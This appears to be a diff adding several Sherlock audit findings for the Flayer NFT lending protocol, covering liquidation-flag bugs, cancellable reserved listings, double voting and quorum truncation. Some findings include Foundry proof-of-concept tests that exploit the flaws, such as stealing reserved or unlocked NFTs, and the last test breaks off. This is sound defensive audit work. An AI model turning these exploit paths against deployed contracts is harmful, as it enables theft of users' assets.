+`_isLiquidation` mapping is not deleted in `listing:reserve()` when a liquidation tokenId is reserved, causing newOwner to lose `taxRefunds`
+
+## Vulnerability Detail
+When a protected listing is liquidated using `liquidateProtectedListing()`, it calls `listings:createLiquidationListing()`, which sets the `_isLiquidation` mapping for that collection & tokenId to `true`.
+```solidity
+function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+...
+@> _listings.createLiquidationListing(
+ IListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IListings.Listing({
+ owner: listing.owner,
+ created: uint40(block.timestamp),
+ duration: 4 days,
+ floorMultiple: 400
+ })
+ })
+ );
+...
+ }
+```
+```solidity
+ function createLiquidationListing(CreateListing calldata _createListing) public nonReentrant lockerNotPaused {
+...
+ // Flag our listing as a liquidation
+@> _isLiquidation[_createListing.collection][_createListing.tokenIds[0]] = true;
+...
+ }
+```
+When a user reserve a tokenId then it creates a new protected listing in protectedLisiting.sol contract.
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+...
+ uint[] memory tokenIds = new uint[](1);
+ tokenIds[0] = _tokenId;
+ IProtectedListings.CreateListing[] memory createProtectedListing = new IProtectedListings.CreateListing[](1);
+ createProtectedListing[0] = IProtectedListings.CreateListing({
+ collection: _collection,
+ tokenIds: tokenIds,
+ listing: IProtectedListings.ProtectedListing({
+ owner: payable(address(this)),
+ tokenTaken: uint96(1 ether - _collateral),
+ checkpoint: 0 // Set in the `createListings` call
+ })
+ });
+
+ // Create our listing, receiving the ERC20 into this contract
+@> protectedListings.createListings(createProtectedListing);
+...
+ }
+```
+Now the problem is, reserve() doesn't deletes the `_isLiquidation` mapping if token is liquidation, which creates problem for that tokenId in future.
+
+1. Suppose tokenId = 1 is liquidated in protectedListing.sol, which creates a liquidation listing in Listing.sol using `createLiquidationListing()`, therefore `_isLiquidation = true` for tokenId = 1
+2. UserA reserved that tokenId = 1 using reserve(), which creates a protected listing but doesn't delete the `_isLiquidation` mapping
+3. UserA `unlocked` his tokenId = 1 from protectedListing using `unlockProtectedListing()`, ie now tokenId = 1 is in user's hand
+4. UserA then created a listing in listing.sol using `listing:createListings()` for tokenId = 1, after paying tax ie `listingTax`
+5. UserB buy tokenId = 1 using `listing:fillListings()`. fillListings() checks ` _isLiquidation` & if `_isLiquidation = true` then `no` taxAmount will be refunded, which means UserA will not receive any taxRefund because `_isLiquidation` was not deleted/cleared at reserve()
+```solidity
+function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+...
+ if (_listings[_collection][_tokenId].owner != address(0)) {
+ // Check if there is collateral on the listing, as this we bypass fees and refunds
+@> if (!_isLiquidation[_collection][_tokenId]) {
+ // Find the amount of prepaid tax from current timestamp to prepaid timestamp
+ // and refund unused gas to the user.
+@> (uint fee, uint refund) = _resolveListingTax(_listings[_collection][_tokenId], _collection, false);
+ emit ListingFeeCaptured(_collection, _tokenId, fee);
+
+ assembly {
+ tstore(FILL_FEE, add(tload(FILL_FEE), fee))
+ tstore(FILL_REFUND, add(tload(FILL_REFUND), refund))
+ }
+ } else {
+ delete _isLiquidation[_collection][_tokenId];
+ }
+...
+ }
+```
+
+## Impact
+Owner will lose `taxRefund` if he listed tokenId bought from reserve()
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690C5-L759C6
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L501C12-L511C21
+
+## Tool used
+Manual Review
+
+## Recommendation
+Delete the `_isLiquidation` in reserve()
+```diff
++ delete _isLiquidation[_collection][_tokenId];
+```
\ No newline at end of file
diff --git a/001/057.md b/001/057.md
new file mode 100644
index 0000000..b35f9f3
--- /dev/null
+++ b/001/057.md
@@ -0,0 +1,62 @@
+Flaky Sable Hamster
+
+Medium
+
+# When a liquidationListing is relisted, owner receives taxRefund, which should not
+
+## Summary
+When a liquidationListing is relisted, owner receives taxRefund, which should not because liquidationListing is created without paying any tax ie listingTax
+
+## Vulnerability Detail
+User can relist any tokenId using `listing:relist()`, which returns any taxRefund to previousOwner using _resolveListingTax()
+```solidity
+function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+...
+ // We can process a tax refund for the existing listing
+@> (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+...
+ }
+```
+Now the problem is, relist() doesn't check if the tokenId is `_isLiquidation` or not. As result, when a liquidationListing is relisted, owner of a liquidationListing receives a taxRefund in _resolveListingTax() even though `no` tax is paid while creating a `createLiquidationListing()`
+```solidity
+function _resolveListingTax(Listing memory _listing, address _collection, bool _action) private returns (uint fees_, uint refund_) {
+...
+ // Get the amount of tax to be refunded. If the listing has already ended
+ // then no refund will be offered.
+ if (block.timestamp < _listing.created + _listing.duration) {
+@> refund_ = (_listing.duration - (block.timestamp - _listing.created)) * taxPaid / _listing.duration;
+ }
+...
+ if (_action) {
+...
+ // If there is tax to refund, then allocate it to the user via escrow
+ if (refund_ != 0) {
+@> _deposit(_listing.owner, address(collectionToken), refund_);
+ }
+ }
+ }
+```
+
+## Impact
+Lose of funds for the protocol as owner receives `taxRefunds` which he didn't pay while creating a liquidationListing
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L644C1-L648C1
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L918C5-L956C6
+
+## Tool used
+Manual Review
+
+## Recommendation
+Check if tokenId relisting is liquidationListing or not then make refund.
+```diff
++ if (!_isLiquidation[_collection][_tokenId]) {
++ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
++ if (_fees != 0) {
++ emit ListingFeeCaptured(_collection, _tokenId, _fees);
++ }
++ }
+```
\ No newline at end of file
diff --git a/001/074.md b/001/074.md
new file mode 100644
index 0000000..c0c77f3
--- /dev/null
+++ b/001/074.md
@@ -0,0 +1,127 @@
+Wobbly Neon Hyena
+
+High
+
+# Users can cancel listings even after having them being reserved
+
+### Summary
+
+Users can reserve tokens using `Listings::reserve`, when doing so, a new protected listing is created for the caller. Reservation can be made on both tokens deposited directly into the locker or from active listings.
+However, when reserving from active listings, the listing data is not cleared at the end of the TX, so when the TX ends, there will be 2 listings for the same token, a protected and a normal listing.
+
+After reservation, which includes the caller some collateral in front, the owner of the original non-protected listing will be able to call `Listings::cancel`, allowing him to sweep the token from the locker, the protected listing will end up having no tokens.
+
+This allows original listings' owners to steal tokens that other users have reserved.
+
+### Root Cause
+
+`Listings::reserve` doesn't clear any data about the active listing that has been reserved from, [here](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759).
+
+### Impact
+
+Users can steal tokens that other users have reserved.
+
+### PoC
+
+Add the following test in `flayer/test/Listings.t.sol`:
+
+```solidity
+function test_CanCancelReservedListing() public {
+ ICollectionToken collectionToken = ICollectionToken(
+ locker.collectionToken(address(erc721a))
+ );
+ address bob = address(1);
+ uint256 _tokenId = 0;
+
+ erc721a.mint(address(this), _tokenId);
+ deal(address(collectionToken), bob, 2 ether);
+ deal(address(collectionToken), address(this), 1 ether);
+
+ // Creates a listing for the token
+ IListings.CreateListing[]
+ memory _listings = new IListings.CreateListing[](1);
+ erc721a.setApprovalForAll(address(listings), true);
+ _listings[0] = IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IListings.Listing({
+ owner: payable(address(this)),
+ created: uint40(block.timestamp),
+ duration: 10 days,
+ floorMultiple: 200
+ })
+ });
+ listings.createListings(_listings);
+
+ // Listing is owned by the contract
+ assertEq(
+ listings.listings(address(erc721a), _tokenId).owner,
+ address(this)
+ );
+
+ // Bob reserves the listing
+ vm.startPrank(bob);
+ collectionToken.approve(address(listings), type(uint).max);
+ listings.reserve(address(erc721a), _tokenId, 0.5 ether);
+ vm.stopPrank();
+
+ // Protected listing is created
+ assertEq(
+ protectedListings.listings(address(erc721a), _tokenId).owner,
+ bob
+ );
+ // Listing wasn't cleared
+ assertEq(
+ listings.listings(address(erc721a), _tokenId).owner,
+ address(this)
+ );
+
+ // Cancel the listing
+ collectionToken.approve(address(listings), type(uint).max);
+ listings.cancelListings(
+ address(erc721a),
+ _tokenIdToArray(_tokenId),
+ false
+ );
+
+ // Listing is cleared
+ assertEq(
+ listings.listings(address(erc721a), _tokenId).owner,
+ address(0)
+ );
+ // Protected listing still exists
+ assertEq(
+ protectedListings.listings(address(erc721a), _tokenId).owner,
+ bob
+ );
+ // NFT is owned by the contract
+ assertEq(erc721a.ownerOf(_tokenId), address(this));
+}
+```
+
+### Mitigation
+
+When reserving an active listing, make sure to clear all data related to that listing in `Listings::reserve`:
+
+```diff
+function reserve(
+ address _collection,
+ uint256 _tokenId,
+ uint256 _collateral
+) public nonReentrant lockerNotPaused {
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ ...
+
+ // We can now transfer ownership of the listing to the user reserving it
+ protectedListings.transferOwnership(
+ _collection,
+ _tokenId,
+ payable(msg.sender)
+ );
+
++ delete _listings[_collection][_tokenId];
++ delete _isLiquidation[_collection][_tokenId];
+}
+```
\ No newline at end of file
diff --git a/001/075.md b/001/075.md
new file mode 100644
index 0000000..5ced6cb
--- /dev/null
+++ b/001/075.md
@@ -0,0 +1,120 @@
+Small Azure Poodle
+
+Medium
+
+# Inefficient Checkpoint Creation Leading to Inaccurate Compounding Calculations
+
+## Summary
+The `_createCheckpoint` function in the `ProtectedListings` contract can create checkpoints without verifying if sufficient time has passed since the last checkpoint. This inefficiency can lead to unnecessary storage use and inaccurate compounding calculations, potentially affecting the financial integrity of the system.
+
+## Vulnerability Detail
+The root cause of the vulnerability lies in the lack of a time check before creating a new checkpoint. The function does not verify if there has been a significant time lapse since the previous checkpoint, leading to redundant checkpoints and potentially incorrect compounding calculations.
+```solidity
+530: function _createCheckpoint(address _collection) internal returns (uint index_) {
+---
+532: index_ = collectionCheckpoints[_collection].length;
+533:
+---
+535: emit CheckpointCreated(_collection, index_);
+536:
+---
+539: if (index_ == 0) {
+---
+541: (, uint _utilizationRate) = utilizationRate(_collection);
+542:
+---
+545: collectionCheckpoints[_collection].push(
+546: Checkpoint({
+547: compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+548: _previousCompoundedFactor: 1e18,
+549: _utilizationRate: _utilizationRate,
+550: _timePeriod: 0
+551: }),
+552: timestamp: block.timestamp
+553: })
+554: );
+555:
+---
+556: return index_;
+557: }
+558:
+---
+560: Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+561:
+---
+564: if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+565: collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+566: return index_;
+567: }
+568:
+---
+570: collectionCheckpoints[_collection].push(checkpoint);
+571: }
+```
+
+## Impact
+- Unnecessary checkpoints consume storage space, leading to increased costs and potential performance degradation.
+- If compounded factors are calculated without adequate time intervals, it could result in incorrect interest or fee calculations.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a time check to ensure that a significant period has elapsed before creating a new checkpoint. This can be done by comparing the current timestamp with the timestamp of the last checkpoint.
+```diff
+function _createCheckpoint(address _collection) internal returns (uint index_) {
+
+ index_ = collectionCheckpoints[_collection].length;
+
+ emit CheckpointCreated(_collection, index_);
+
+ if (index_ == 0) {
+
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ collectionCheckpoints[_collection].push(
+
+ Checkpoint({
+
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+
+ _previousCompoundedFactor: 1e18,
+
+ _utilizationRate: _utilizationRate,
+
+ _timePeriod: 0
+
+ }),
+
+ timestamp: block.timestamp
+
+ })
+
+ );
+
+ return index_;
+
+ }
+
+ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+- if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+
+- collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+
+ // Ensure a significant amount of time has passed since the last checkpoint
+
++ if (block.timestamp - collectionCheckpoints[_collection][index_ - 1].timestamp < MIN_TIME_INTERVAL) {
+
+ return index_; // Exit early if not enough time has passed
+
+ }
+
+ collectionCheckpoints[_collection].push(checkpoint);
+
+}
+```
\ No newline at end of file
diff --git a/001/082.md b/001/082.md
new file mode 100644
index 0000000..48ffe14
--- /dev/null
+++ b/001/082.md
@@ -0,0 +1,151 @@
+Joyous Onyx Grasshopper
+
+High
+
+# Attacker can steal a user's repaid protected listing if the buyer opts to withdraw their asset at another time
+
+### Summary
+
+A user has the option to indicate they wish to withdraw the token they have repaid at another time through the [_withdraw](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L287) parameter in `unlockProtectedListing`. If this is set to false, rather than the token being transferred to the user in the same call, the state variable [canWithdrawAsset](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L321C13-L321C29) is updated to indicate this user is eligible to withdraw this asset at another time. The problem arises because the listings object is deleted and therefore any user can redeem or swap for this token in the locker contract.
+
+### Root Cause
+
+The root cause is in how the protected listings objected is handled when unlocking a protected listing
+1. The listing objected is deleted in [_protectedListings](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L314C16-L314C34) when unlocking an asset
+2. If the user indicated they wish to withdraw at another time, `canWithdrawAsset` is set to the user's address for that asset and remains in the locker contract
+3. Anytime [isListing](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Locker.sol#L438C14-L438C23) is called in the locker contract to check if the asset is listed it will return false because the listing object will no longer exist.
+4. Because it is not recognized as a listing but still is held within the locker contract, it can be swapped and redeemed for.
+
+### Internal pre-conditions
+
+1. User has a valid protected listing they wish to unlock
+2. Listing still has collateral and isnt eligible for liquidation
+3. User is able to repay loan + fees accrued
+4. They indicate `_withdraw` = false meaning they wish to withdraw at another time
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The buyer unlocks the asset and indicates they wish to withdraw at another time
+2. Attacker sees the token in the locker without a listing a attached to it
+3. Attacker takes a floor token and swaps it for the rarer token or burns the floor amount in collection tokens
+4. Attacker receives the buyers token before they are able to withdraw from the locker
+
+### Impact
+
+A buyer who wishes to unlock their asset can have it stolen and when they attempt to withdraw through [withdrawProtectedListing](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L341C14-L341C38) the transaction will revert as it will no longer be held by the locker.
+
+### PoC
+
+Add the following test to `ProtectedListings.t.sol` and run `forge test --match-path test/ProtectedListings.t.sol --match-test test_CanStealProtectedListing`
+
+```Solidity
+function test_CanStealProtectedListing(uint96 _tokensTaken) public {
+
+ uint _tokenId = 0;
+ uint _bobTokenId = 1;
+
+ // Set the amount of tokens taken as variable
+ vm.assume(_tokensTaken >= 0.1 ether);
+ vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());
+
+ address payable _owner = users[0];
+ address payable bob = users[1];
+
+ // Capture the amount of ETH that the user starts with so that we can compute that
+ // they receive a refund of unused `msg.value` when paying tax.
+ uint startBalance = payable(_owner).balance;
+
+ // Mint our tokens
+ //We can assume that _owner token is rare
+ erc721a.mint(_owner, _tokenId);
+ erc721a.mint(bob, _bobTokenId);
+
+ // Create our listing
+ vm.startPrank(_owner);
+ erc721a.approve(address(protectedListings), _tokenId);
+ _createProtectedListing({
+ _listing: IProtectedListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(_tokenId),
+ listing: IProtectedListings.ProtectedListing({
+ owner: _owner,
+ tokenTaken: _tokensTaken,
+ checkpoint: 0
+ })
+ })
+ });
+
+ // Confirm the remaining collateral against the listing. We can safely cast the
+ // `getListingCollateral` to a uint as we know it will be a positive number in this
+ // test case.
+ uint expectedCollateral = 1 ether - protectedListings.KEEPER_REWARD() - _tokensTaken;
+ assertEq(uint(protectedListings.getProtectedListingHealth(address(erc721a), _tokenId)), expectedCollateral);
+
+ // Approve the ERC20 token to be used by the listings contract to cancel the listing
+ locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);
+
+ // Confirm that the user has paid no taxes yet from their ETH balance
+ assertEq(payable(_owner).balance, startBalance, 'Incorrect startBalance');
+
+ // Confirm that the ERC20 is held by the user from creating the listing
+ assertEq(
+ locker.collectionToken(address(erc721a)).balanceOf(_owner),
+ _tokensTaken,
+ 'Incorrect owner collectionToken balance before unlock'
+ );
+
+ // Confirm that the expected event is fired
+ vm.expectEmit();
+ emit ProtectedListings.ListingUnlocked(address(erc721a), _tokenId, _tokensTaken);
+
+ // We can now unlock our listing. As we have done this in a single transaction,
+ // the amount of tax being paid won't have increased and should there for just
+ // be the amount of loan that we took out.
+ // set _withdraw as false to indicate we dont want to withdraw straight away
+ protectedListings.unlockProtectedListing(address(erc721a), _tokenId, false);
+
+ vm.stopPrank();
+
+ vm.startPrank(bob);
+
+ //Bob sees the token in the locker contract and swaps it with his
+ erc721a.approve(address(locker), _bobTokenId);
+ locker.swap(address(erc721a), _bobTokenId, _tokenId);
+ assertEq(erc721a.ownerOf(_tokenId), address(bob));
+
+ vm.stopPrank();
+ }
+```
+
+### Mitigation
+
+I recommend not deleting the listing object until the user has withdrawn their asset when they indicate _withdraw = false. If _withdraw = true then delete the listing right away.
+
+```diff
+ if (_withdraw) {
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
++ delete _protectedListings[_collection][_tokenId];
+ } else {
+ canWithdrawAsset[_collection][_tokenId] = msg.sender;
+ }
+```
+```diff
+ function withdrawProtectedListing(address _collection, uint _tokenId) public lockerNotPaused {
+ // Ensure that the asset has been marked as withdrawable
+ address _owner = canWithdrawAsset[_collection][_tokenId];
+ if (_owner != msg.sender) revert CallerIsNotOwner(_owner);
+
+ // Mark the asset as withdrawn
+ delete canWithdrawAsset[_collection][_tokenId];
++ delete _protectedListings[_collection][_tokenId];
+
+ // Transfer the asset to the user
+ locker.withdrawToken(_collection, _tokenId, msg.sender);
+ emit ListingAssetWithdraw(_collection, _tokenId);
+ }
+```
\ No newline at end of file
diff --git a/001/085.md b/001/085.md
new file mode 100644
index 0000000..a8ec567
--- /dev/null
+++ b/001/085.md
@@ -0,0 +1,94 @@
+Small Azure Poodle
+
+High
+
+# Double Voting Exploit in Collection Shutdown Process
+
+## Summary
+The `_vote` function in the `CollectionShutdown` contract allows users to vote multiple times by transferring tokens between accounts. This lack of restriction can lead to manipulation of the voting process, undermining the integrity of the shutdown mechanism.
+
+## Vulnerability Detail
+The root cause is that the `_vote` function does not implement a check to ensure that users can only vote once per token they own. This allows users to transfer tokens to another account and vote again, effectively casting multiple votes with the same token.
+```solidity
+191: function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+---
+193: uint userVotes = params.collectionToken.balanceOf(msg.sender);
+194: if (userVotes == 0) revert UserHoldsNoTokens();
+195:
+---
+197: params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+198:
+---
+200: params.shutdownVotes += uint96(userVotes);
+201:
+---
+203: unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+204:
+---
+205: emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+206:
+---
+208: if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+209: params.canExecute = true;
+210: emit CollectionShutdownQuorumReached(_collection);
+211: }
+212:
+---
+213: return params;
+214: }
+```
+The code does not check if the user has already voted with those tokens. This allows users to transfer tokens to another account and vote again, effectively casting multiple votes with the same tokens.
+
+## Impact
+Users can unfairly influence the outcome of the shutdown vote by casting multiple votes with the same tokens.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L191-L214
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a mechanism to ensure that each token can only be used to vote once.
+- Introduce a mapping to track tokens that have already been used for voting.
+```diff
+// Mapping to track used tokens for voting
+mapping(address => mapping(uint => bool)) private usedTokens;
+```
+- Before allowing a vote, check if the tokens have already been used. If not, mark them as used.
+```diff
+function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Check if tokens have already been used for voting
++ for (uint i = 0; i < userVotes; i++) {
++ uint tokenId = params.collectionToken.tokenOfOwnerByIndex(msg.sender, i);
++ if (usedTokens[_collection][tokenId]) {
++ revert TokenAlreadyUsedForVoting();
+ }
+ }
+
+- params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+ // Pull tokens in from the user and mark them as used
++ for (uint i = 0; i < userVotes; i++) {
++ uint tokenId = params.collectionToken.tokenOfOwnerByIndex(msg.sender, i);
++ params.collectionToken.transferFrom(msg.sender, address(this), tokenId);
++ usedTokens[_collection][tokenId] = true;
+ }
+
+ params.shutdownVotes += uint96(userVotes);
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; }
+
+ emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+
+ return params;
+}
+```
\ No newline at end of file
diff --git a/001/103.md b/001/103.md
new file mode 100644
index 0000000..2e30e5b
--- /dev/null
+++ b/001/103.md
@@ -0,0 +1,54 @@
+Rich Chrome Whale
+
+High
+
+# relisting previously liquidated NFT will cause loss of funds to new owner
+
+### Summary
+
+Users calling `Listings::relist()` to NFT id that was previously listed as liquidation will have loss of funds when a second user buy it from them through `fillListings()`
+
+### Root Cause
+
+- When user call `relist()` we don't check if the original listing was liquidation so that we delete the mapping `_isLiquidation`
+- Now it belongs to the new owner that is not liquidated and have paid the discrepancy in price and fees calculated according to duration and price
+- when the new listing gets filled before the full duration passes through `fillListing()` it won't refund fees that was paid for duration not spent
+
+### Internal pre-conditions
+
+- There is a liquidated NFT that the user wants to relist
+
+### External pre-conditions
+
+The relisted NFT gets filled before full duration spent
+
+### Attack Path
+
+When an NFT token is liquidated from `protectedListings` its flagged as liquidation [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L195) the liquidation is from user A
+
+Now there can be a user (user B) where he sees that token and want to relist it at higher Price through `relist()`
+[Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L625-L672)
+
+The new user (user B) will pay the required tax [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L668) according to duration and floor
+
+The problem is that the NFT is not removed from liquidation flag
+
+Now when another user (user C) sees that listing and want to fill it through `fillListings()` that calls `_fillListings`
+and the full duration of listing hasn't passed and user B still can and should get some fees refunded if user C fill it
+
+
+there will be checks if the token is liquidation (in which our token is still flagged as liquidation although its not) [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L499-L519)
+
+This check will prevent user B from getting refunded the unused Fees, causing loss of funds
+
+### Impact
+
+Loss of fees that should have been refunded (loss of funds)
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+delete liquidated mapping after its filled
\ No newline at end of file
diff --git a/001/104.md b/001/104.md
new file mode 100644
index 0000000..bcdb77b
--- /dev/null
+++ b/001/104.md
@@ -0,0 +1,58 @@
+Rich Chrome Whale
+
+High
+
+# reserving a previously liquidated Token will cause loss of funds to new owner
+
+### Summary
+
+Users calling `Listings::reserve()` to NFT id that was previously listed as liquidation will have loss of funds when a second user buy it from them through `fillListings()`
+
+### Root Cause
+
+- When user call `reserve()` we don't check if the original listing was liquidation so that we delete the mapping `_isLiquidation`
+
+- Now it belongs to the new owner that is not liquidated and have paid the fees calculated according to duration and price
+
+- when the new listing gets filled before the full duration passes through `fillListing()` it won't refund fees that was paid for duration not spent
+
+### Internal pre-conditions
+
+There is a liquidated NFT that the user wants to `reserve()`
+
+### External pre-conditions
+
+The reserved NFT gets
+
+listed again through `createListings()` and then gets filled though `fillListings()`
+
+### Attack Path
+
+When an NFT token is liquidated from `protectedListings` its flagged as liquidation [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L195) the liquidation is from user A
+
+Now there can be a user (user B) where he sees that token and want to it through [`reserve()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L690) But the problem is that this function doesn't delete liquidation mapping after it checks it
+
+Now user B unlock that token and list it through `createListings`
+
+(user B) will pay the required tax [here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L149-L151) according to duration and floor by receiving less tokens from the floor as seen in the subtraction
+
+The problem is that the NFT is not removed from liquidation flag
+
+Now when another user (user C) sees that listing and want to fill it through `fillListings()` that calls `_fillListings`
+and the full duration of listing hasn't passed and user B still can and should get some fees refunded if user C fill it
+
+there will be checks if the token is liquidation (in which our token is still flagged as liquidation although its not) [Here](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L499-L519)
+
+ This check will prevent user B from getting refunded the unused Fees, causing loss of funds
+
+### Impact
+
+Loss of fees that should have been refunded (loss of funds)
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+make `_isLiquidation` mapping to be per owner and not only the token Id
\ No newline at end of file
diff --git a/001/105.md b/001/105.md
new file mode 100644
index 0000000..5733c05
--- /dev/null
+++ b/001/105.md
@@ -0,0 +1,86 @@
+Wonderful Rouge Hamster
+
+High
+
+# Casting the quorum votes to uint88 causes the value to be smaller than expected for high decimal collection tokens.
+
+### Summary
+
+`CollectionShutdown.sol` casts the quorum votes to uint88. If the collection token has a high number of decimals, because `denomination = 9` it will cause the quorum votes to be truncated. The attacker will be able to trigger a collection shutdown and buy the remaining NFTs for free.
+
+### Root Cause
+
+In [CollectionShutdown.sol:150](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L150) it casts the quorum votes to `uint88` which means that the max value is `type(uint88).max = 2 ** 88 - 1 = 3.09e+26`. If the collection token has 27 decimals (token denomination is 9) the value will overflow immediately.
+
+That will cause the quorum votes to be a lot smaller than it should be. That in turn will cause the token to be shutdown since reaching the quorum is a lot easier now.
+
+After the user voted, they can execute the shutdown which will create a sudoswap pool with all the remaining NFTs. The user buys all the NFTs and then claim the majority of the proceeds for themselves. That is because `quorumVotes` is such small value. Since the attacker has enough voting power to reach quorum, they will be able to claim at least 50% of the proceeds, see [CollectionShutdown.sol:310](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L310)
+
+### Internal pre-conditions
+
+none
+
+### External pre-conditions
+
+none
+
+### Attack Path
+
+1. attacker acquires a small amount of a given high decimal collection token, `2 * 0.263e27` to be exact so that they are able to reach quorum and claim all the proceeds from the sudoswap sales.
+2. attacker initiates the shutdown of the collection token
+3. attacker votes for the shutdown
+4. attacker executes the shutdown
+5. attacker buys up all the NFTs from the sudoswap pool
+6. attacker claims the proceeds using `claim()`.
+
+This allows the attacker to buy all the NFTs for free (minus fees).
+
+### Impact
+
+An attacker can steal a collection tokens NFTs.
+
+### PoC
+
+Here's git diff implementing a PoC where the `quorumVotes` is lower than it should be.
+
+Instead of it being half the current total supply (`1.5e18 * tokenDenomination`) it's `262059960714619725100875776`.
+```diff
+diff --git a/flayer/test/utils/CollectionShutdown.t.sol b/flayer/test/utils/CollectionShutdown.t.sol
+index d4ed299..6650057 100644
+--- a/flayer/test/utils/CollectionShutdown.t.sol
++++ b/flayer/test/utils/CollectionShutdown.t.sol
+@@ -49,6 +49,26 @@ contract CollectionShutdownTest is Deployers, FlayerTest {
+ ILSSVMPairFactoryLike(PAIR_FACTORY).setBondingCurveAllowed(ICurve(RANGE_CURVE), true);
+ }
+
++ function test_max_supply_attack() public {
++ locker.createCollection(address(erc721c), "Test Test", "T", 9);
++ locker.setInitialized(address(erc721c), true);
++
++ ICollectionToken token = locker.collectionToken(address(erc721c));
++ token.approve(address(collectionShutdown), type(uint).max);
++
++ vm.startPrank(address(locker));
++ token.mint(address(1), 3e18 * 10 ** token.denomination());
++ vm.stopPrank();
++
++ vm.startPrank(address(1));
++ token.approve(address(collectionShutdown), type(uint).max);
++ collectionShutdown.start(address(erc721c));
++ vm.stopPrank();
++
++ ICollectionShutdown.CollectionShutdownParams memory params = collectionShutdown.collectionParams(address(erc721c));
